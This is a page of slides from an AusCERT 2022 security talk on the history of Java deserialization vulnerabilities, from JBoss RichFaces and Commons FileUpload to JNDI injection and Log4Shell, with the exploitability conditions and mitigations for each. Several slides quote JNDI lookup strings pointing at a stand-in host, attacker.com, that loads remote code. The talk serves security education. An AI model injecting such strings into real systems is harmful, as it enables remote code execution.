Auscert 2022 - log4shell and history of Java deserialisation RCE
Download as PPTX, PDF0 likes104 views
The document provides a summary of Java deserialization vulnerabilities, including: - An 2013 vulnerability in JBoss RichFaces allowed remote code execution via insecure deserialization. This allowed attackers to trigger execution of any deserializable class. - The 2013 Apache Commons FileUpload vulnerability allowed arbitrary file upload via a poison null byte attack during deserialization that wrote files to the system. - Later vulnerabilities used "property-oriented programming" gadgets and chains of deserializable classes and methods to achieve remote code execution during deserialization. - The 2021 Log4Shell vulnerability allowed remote code execution by configuring logging in Log4j version 2.0-2.12.1 and 2.13-2.14.1
Auscert 2022 - log4shell and history of Java deserialisation RCE
- 1. log4shell A brief history of Java deserialization vectors
- 2. Introduction David Jorm • Head of security for x15 Ventures • Penetration tester & product security engineer • Previously a software developer & aviation meteorologist • Teaches cyber security at UNSW • You may remember me from AusCERT of yore 2
- 5. Once upon a midnight dreary… 5
- 6. « A flaw was found in the way JBoss RichFaces handled deserialization. A remote attacker could use this flaw to trigger the execution of the deserialization methods in any serializable class deployed on the server. This could lead to a variety of security impacts depending on the deserialization logic of these classes.” Credit: Takeshi Terada CVE-2013-2165 JBoss RichFaces: Remote code execution due to insecure deserialization
- 7. Java deserialization vulnerabilities JBoss RichFaces: Remote code execution due to insecure deserialization Any classes that implement the java.io.Serializable interface can be serialized and deserialized automatically. Classes can override the default serialization and deserialization process by implementing special methods. For deserialization, there are two methods: void readObject(java.io.ObjectInputStream in) which is called when the class is deserialized. The serialized representation of the class should be read from the in stream. Object readResolve() which is called after the class is deserialized, and can be used to replace the object read from the stream. Implementing these deserialization methods can lead to security issues. If an application deserializes user-supplied content, it means that an attacker could provide serialized instances of any class on the application's classpath, with any chosen values being assigned to the member variables. Access modifiers such as private do not inhibit an attacker who can set arbitrary values for private member variables in a serialized class instance. Security issues may arise when the logic in the readObject and readResolve methods does not take this into account. Source: https://access.redhat.com/blogs/766093/posts/1976093 7
- 8. CVE-2013-2186 Apache commons-fileupload: Arbitrary file upload via deserialization Commons FileUpload contains a serializable DiskFileItem class, which implements a custom readObject method. The readObject method creates a temporary file on disk, and writes the content represented by the DiskFileItem object to that temporary file. The file is created with the following call: tempFile = new File(tempDir, tempFileName); The value of tempDir is read from the repository private member variable of the class, and prior to patching this flaw, no security checks were applied to this value. This exposed a poison null byte vulnerability. An attacker could provide a serialized instance of DiskFileItem with a null- terminated full path value for the repository variable: /path/to/file.txt0 The values of tempDir and tempFileName would be concatenated inside the File class. When creating the file on the disk, the full file path would be passed down to native libraries, which interpret a null character as a string terminator. Therefore, a file would be created using the full path specified in the repository variable. As a result, an attacker could write arbitrary files to any location allowed by the user running the target application. Newer versions of the JDK mitigate poison null byte attacks automatically, but at the time of reporting this flaw, patched JDKs were not widely deployed. 8
- 10. Proporty-oriented programming Top of the POPs • Instantiate a complex object graph whose root node is serializable • Similar to ROP, exploit conditions in classes on the classpath so deserialization of the object graph lands in execution of arbitrary code • Create a chain of instances and method invocations, starting with a « source » gadget that executes its readObject/readResolve methods during deserialization • End in a « sink » gadget that executes arbitrary code • Originally identified as a pattern in PHP by Stefan Esser Source: Chris Frohoff, Appsec Cali 2015 10
- 13. Mitigating deserialization Where lies the flaw? “Note that exploitation of the DiskFileItem flaw relies on an application performing deserialization of untrusted data, with DiskFileItem on the classpath. Does the flaw lie in the application performing deserialization of untrusted data, which in isolation is not a security concern? Or does it lie in DiskFileItem, which is not vulnerable unless an application is performing deserialization of untrusted data? This is a question which does not yet have a consensus answer in the security community. The Red Hat Security Response Team's view is that both a vulnerable serializable class, and an application performing deserialization of untrusted data expose security flaws. Therefore we assigned CVE-2013-2186 to the DiskFileItem flaw. This view is not shared by the Apache Commons security team, who viewed the fix as a hardening measure, and that only an application performing deserialization of untrusted data would expose an actual security flaw.” 13
- 14. JNDI & LDAP
- 15. Java Naming & Directory Interface JNDI/LDAP • Provides a mechanism for applications to interact with remote objects • This includes Remote Method Invocation (RMI), Lightweight Directory Access Protocol (LDAP), CORBA, or DNS • This allows for the loading of remote code resources across systems • When the string defining the requested object is controlled by an attacker, it can point the target application to a remote server containing an arbitrary object defined by the attacker • Example: jndi:ldap://attacker.com/payload • This has led to a range of security issues due to JNDI injection • The vulnerable code usually has a sink of « initialContext.lookup() » • Applications should never lookup a user-controlled JNDI string 15
- 16. JNDI/LDAP -> RCE JNDI/LDAP • Alvaro Muñoz presented at Black Hat 2016 outlining this process, and how dynamic protocol switching allows any attacker controlled string passed to « initialContext.lookup() » to deliver RCE • This is done by passing an attacker controlled LDAP URI to the lookup method • Source: Alvaro Muñoz, Black Hat 2016 16
- 17. Log4j
- 18. Apache Logging Services LOG4J • Most popular logging library, used ubiquitously in Java apps 18
- 19. Log4shell
- 20. « Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects Credit: Chen Zhaojun CVE-2021-44228
- 21. Example vulnerable code Logging attacker controlled strings Source: securityboulevard.com 21
- 22. Attack chain – old Java version Basic RCE use case 22 Attacker Attacker Controlled LDAP Server Target Server Request including string that will be logged by log4j injecting {$jndi:ldap://attacker.com:1389/Exploit} Request to ldap://attacker.com:1389/Exploit Exploit payload Code exec
- 23. Exploitability conditions Exploitability for simple RCE use case All conditions must be met to be vulnerable: • The Java application uses log4j (Maven package log4j-core) version 2.0.0-2.12.1 or 2.13.0- 2.14.1 • A remote attacker can cause arbitrary strings to be logged, via one of the logging APIs: logger.info(), logger.debug(), logger.error(), logger.fatal(), logger.log(), logger.trace(), logg er.warn(). • No Log4j-specific mitigations have been applied • The Java JRE / JDK version in use is older than: • 6u211 • 7u201 • 8u191 • 11.0.1 In newer versions of Java, the JVM property com.sun.jndi.ldap.object.trustURLCodebase is set to false by default, which disables JNDI loading of classes from arbitrary URL code bases. 23
- 24. Deserialization gadget exploitability Putting it all together • Locally present classes may be used in such a case to trigger a Java deserialization RCE • This bypasses all controls in the JDK/JRE • What if we had eliminated all exploitable gadget classes as proposed in 2013? 24